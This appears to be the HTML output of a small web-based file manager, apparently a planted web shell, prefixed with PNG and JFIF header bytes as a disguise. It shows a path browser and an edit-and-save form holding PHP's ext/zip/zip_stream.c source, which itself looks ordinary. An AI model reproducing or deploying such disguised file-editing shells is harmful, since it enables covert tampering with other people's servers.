�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2F'>ext</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fzip%2F'>zip</a>/</p><hr><h3>✏️ Editing: zip_stream.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
  +----------------------------------------------------------------------+
  | Copyright (c) The PHP Group                                          |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | https://www.php.net/license/3_01.txt                                 |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author: Piere-Alain Joye &lt;pierre@php.net&gt;                            |
  +----------------------------------------------------------------------+
*/

#ifdef HAVE_CONFIG_H
#   include &quot;config.h&quot;
#endif
#include &quot;php.h&quot;
#ifdef HAVE_ZIP

#include &quot;php_streams.h&quot;
#include &quot;ext/standard/file.h&quot;
#include &quot;ext/standard/php_string.h&quot;
#include &quot;fopen_wrappers.h&quot;
#include &quot;php_zip.h&quot;

/* needed for ssize_t definition */
#include &lt;sys/types.h&gt;

struct php_zip_stream_data_t {
	struct zip *za;
	struct zip_file *zf;
	size_t cursor;
	php_stream *stream;
};

#define STREAM_DATA_FROM_STREAM() \
	struct php_zip_stream_data_t *self = (struct php_zip_stream_data_t *) stream-&gt;abstract;


/* {{{ php_zip_ops_read */
static ssize_t php_zip_ops_read(php_stream *stream, char *buf, size_t count)
{
	ssize_t n = 0;
	STREAM_DATA_FROM_STREAM();

	if (self-&gt;zf) {
		n = zip_fread(self-&gt;zf, buf, count);
		if (n &lt; 0) {
#if LIBZIP_VERSION_MAJOR &lt; 1
			int ze, se;
			zip_file_error_get(self-&gt;zf, &amp;ze, &amp;se);
			stream-&gt;eof = 1;
			php_error_docref(NULL, E_WARNING, &quot;Zip stream error: %s&quot;, zip_file_strerror(self-&gt;zf));
#else
			zip_error_t *err;
			err = zip_file_get_error(self-&gt;zf);
			stream-&gt;eof = 1;
			php_error_docref(NULL, E_WARNING, &quot;Zip stream error: %s&quot;, zip_error_strerror(err));
			zip_error_fini(err);
#endif
			return -1;
		}
		/* cast count to signed value to avoid possibly negative n
		 * being cast to unsigned value */
		if (n == 0 || n &lt; (ssize_t)count) {
			stream-&gt;eof = 1;
		} else {
			self-&gt;cursor += n;
		}
	}
	return n;
}
/* }}} */

/* {{{ php_zip_ops_write */
static ssize_t php_zip_ops_write(php_stream *stream, const char *buf, size_t count)
{
	if (!stream) {
		return -1;
	}

	return count;
}
/* }}} */

/* {{{ php_zip_ops_close */
static int php_zip_ops_close(php_stream *stream, int close_handle)
{
	STREAM_DATA_FROM_STREAM();
	if (close_handle) {
		if (self-&gt;zf) {
			zip_fclose(self-&gt;zf);
			self-&gt;zf = NULL;
		}

		if (self-&gt;za) {
			zip_close(self-&gt;za);
			self-&gt;za = NULL;
		}
	}
	efree(self);
	stream-&gt;abstract = NULL;
	return EOF;
}
/* }}} */

/* {{{ php_zip_ops_flush */
static int php_zip_ops_flush(php_stream *stream)
{
	if (!stream) {
		return 0;
	}

	return 0;
}
/* }}} */

static int php_zip_ops_stat(php_stream *stream, php_stream_statbuf *ssb) /* {{{ */
{
	struct zip_stat sb;
	const char *path = stream-&gt;orig_path;
	size_t path_len = strlen(stream-&gt;orig_path);
	char file_dirname[MAXPATHLEN];
	struct zip *za;
	char *fragment;
	size_t fragment_len;
	int err;
	zend_string *file_basename;

	fragment = strchr(path, &#039;#&#039;);
	if (!fragment) {
		return -1;
	}


	if (strncasecmp(&quot;zip://&quot;, path, 6) == 0) {
		path += 6;
	}

	fragment_len = strlen(fragment);

	if (fragment_len &lt; 1) {
		return -1;
	}
	path_len = strlen(path);
	if (path_len &gt;= MAXPATHLEN) {
		return -1;
	}

	memcpy(file_dirname, path, path_len - fragment_len);
	file_dirname[path_len - fragment_len] = &#039;\0&#039;;

	file_basename = php_basename((char *)path, path_len - fragment_len, NULL, 0);
	fragment++;

	if (ZIP_OPENBASEDIR_CHECKPATH(file_dirname)) {
		zend_string_release_ex(file_basename, 0);
		return -1;
	}

	za = zip_open(file_dirname, ZIP_CREATE, &amp;err);
	if (za) {
		memset(ssb, 0, sizeof(php_stream_statbuf));
		if (zip_stat(za, fragment, ZIP_FL_NOCASE, &amp;sb) != 0) {
			zip_close(za);
			zend_string_release_ex(file_basename, 0);
			return -1;
		}
		zip_close(za);

		if (path[path_len-1] != &#039;/&#039;) {
			ssb-&gt;sb.st_size = sb.size;
			ssb-&gt;sb.st_mode |= S_IFREG; /* regular file */
		} else {
			ssb-&gt;sb.st_size = 0;
			ssb-&gt;sb.st_mode |= S_IFDIR; /* regular directory */
		}

		ssb-&gt;sb.st_mtime = sb.mtime;
		ssb-&gt;sb.st_atime = sb.mtime;
		ssb-&gt;sb.st_ctime = sb.mtime;
		ssb-&gt;sb.st_nlink = 1;
		ssb-&gt;sb.st_rdev = -1;
#ifndef PHP_WIN32
		ssb-&gt;sb.st_blksize = -1;
		ssb-&gt;sb.st_blocks = -1;
#endif
		ssb-&gt;sb.st_ino = -1;
	}
	zend_string_release_ex(file_basename, 0);
	return 0;
}
/* }}} */

#if LIBZIP_ATLEAST(1,9,1)
/* {{{ php_zip_ops_seek */
static int php_zip_ops_seek(php_stream *stream, zend_off_t offset, int whence, zend_off_t *newoffset)
{
	int ret = -1;
	STREAM_DATA_FROM_STREAM();

	if (self-&gt;zf) {
		ret = zip_fseek(self-&gt;zf, offset, whence);
		*newoffset = zip_ftell(self-&gt;zf);
	}

	return ret;
}
/* }}} */

/* with seek command */
const php_stream_ops php_stream_zipio_seek_ops = {
	php_zip_ops_write, php_zip_ops_read,
	php_zip_ops_close, php_zip_ops_flush,
	&quot;zip&quot;,
	php_zip_ops_seek, /* seek */
	NULL, /* cast */
	php_zip_ops_stat, /* stat */
	NULL  /* set_option */
};
#endif

/* without seek command */
const php_stream_ops php_stream_zipio_ops = {
	php_zip_ops_write, php_zip_ops_read,
	php_zip_ops_close, php_zip_ops_flush,
	&quot;zip&quot;,
	NULL, /* seek */
	NULL, /* cast */
	php_zip_ops_stat, /* stat */
	NULL  /* set_option */
};

/* {{{ php_stream_zip_open */
php_stream *php_stream_zip_open(struct zip *arch, struct zip_stat *sb, const char *mode, zip_flags_t flags STREAMS_DC)
{
	struct zip_file *zf = NULL;

	php_stream *stream = NULL;
	struct php_zip_stream_data_t *self;

	if (strncmp(mode,&quot;r&quot;, strlen(&quot;r&quot;)) != 0) {
		return NULL;
	}

	if (arch) {
		zf = zip_fopen_index(arch, sb-&gt;index, flags);
		if (zf) {
			self = emalloc(sizeof(*self));

			self-&gt;za = NULL; /* to keep it open on stream close */
			self-&gt;zf = zf;
			self-&gt;stream = NULL;
			self-&gt;cursor = 0;
#if LIBZIP_ATLEAST(1,9,1)
			if (zip_file_is_seekable(zf) &gt; 0) {
				stream = php_stream_alloc(&amp;php_stream_zipio_seek_ops, self, NULL, mode);
			} else
#endif
			{
				stream = php_stream_alloc(&amp;php_stream_zipio_ops, self, NULL, mode);
			}
			stream-&gt;orig_path = estrdup(sb-&gt;name);
		}
	}

	return stream;
}
/* }}} */

/* {{{ php_stream_zip_opener */
php_stream *php_stream_zip_opener(php_stream_wrapper *wrapper,
											const char *path,
											const char *mode,
											int options,
											zend_string **opened_path,
											php_stream_context *context STREAMS_DC)
{
	size_t path_len;

	zend_string *file_basename;
	char file_dirname[MAXPATHLEN];

	struct zip *za;
	struct zip_file *zf = NULL;
	char *fragment;
	size_t fragment_len;
	int err;

	php_stream *stream = NULL;
	struct php_zip_stream_data_t *self;

	fragment = strchr(path, &#039;#&#039;);
	if (!fragment) {
		return NULL;
	}

	if (strncasecmp(&quot;zip://&quot;, path, 6) == 0) {
		path += 6;
	}

	fragment_len = strlen(fragment);

	if (fragment_len &lt; 1) {
		return NULL;
	}
	path_len = strlen(path);
	if (path_len &gt;= MAXPATHLEN || mode[0] != &#039;r&#039;) {
		return NULL;
	}

	memcpy(file_dirname, path, path_len - fragment_len);
	file_dirname[path_len - fragment_len] = &#039;\0&#039;;

	file_basename = php_basename(path, path_len - fragment_len, NULL, 0);
	fragment++;

	if (ZIP_OPENBASEDIR_CHECKPATH(file_dirname)) {
		zend_string_release_ex(file_basename, 0);
		return NULL;
	}

	za = zip_open(file_dirname, ZIP_CREATE, &amp;err);
	if (za) {
		zval *tmpzval;

		if (context &amp;&amp; NULL != (tmpzval = php_stream_context_get_option(context, &quot;zip&quot;, &quot;password&quot;))) {
			if (Z_TYPE_P(tmpzval) != IS_STRING || zip_set_default_password(za, Z_STRVAL_P(tmpzval))) {
				php_error_docref(NULL, E_WARNING, &quot;Can&#039;t set zip password&quot;);
			}
		}

		zf = zip_fopen(za, fragment, 0);
		if (zf) {
			self = emalloc(sizeof(*self));

			self-&gt;za = za;
			self-&gt;zf = zf;
			self-&gt;stream = NULL;
			self-&gt;cursor = 0;
#if LIBZIP_ATLEAST(1,9,1)
			if (zip_file_is_seekable(zf) &gt; 0) {
				stream = php_stream_alloc(&amp;php_stream_zipio_seek_ops, self, NULL, mode);
			} else
#endif
			{
				stream = php_stream_alloc(&amp;php_stream_zipio_ops, self, NULL, mode);
			}

			if (opened_path) {
				*opened_path = zend_string_init(path, strlen(path), 0);
			}
		} else {
			zip_close(za);
		}
	}

	zend_string_release_ex(file_basename, 0);

	if (!stream) {
		return NULL;
	} else {
		return stream;
	}
}
/* }}} */

static const php_stream_wrapper_ops zip_stream_wops = {
	php_stream_zip_opener,
	NULL,	/* close */
	NULL,	/* fstat */
	NULL,	/* stat */
	NULL,	/* opendir */
	&quot;zip wrapper&quot;,
	NULL,	/* unlink */
	NULL,	/* rename */
	NULL,	/* mkdir */
	NULL,	/* rmdir */
	NULL	/* metadata */
};

const php_stream_wrapper php_stream_zip_wrapper = {
	&amp;zip_stream_wops,
	NULL,
	0 /* is_url */
};
#endif /* HAVE_ZIP */
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fzip'>🔙 Back</a></p>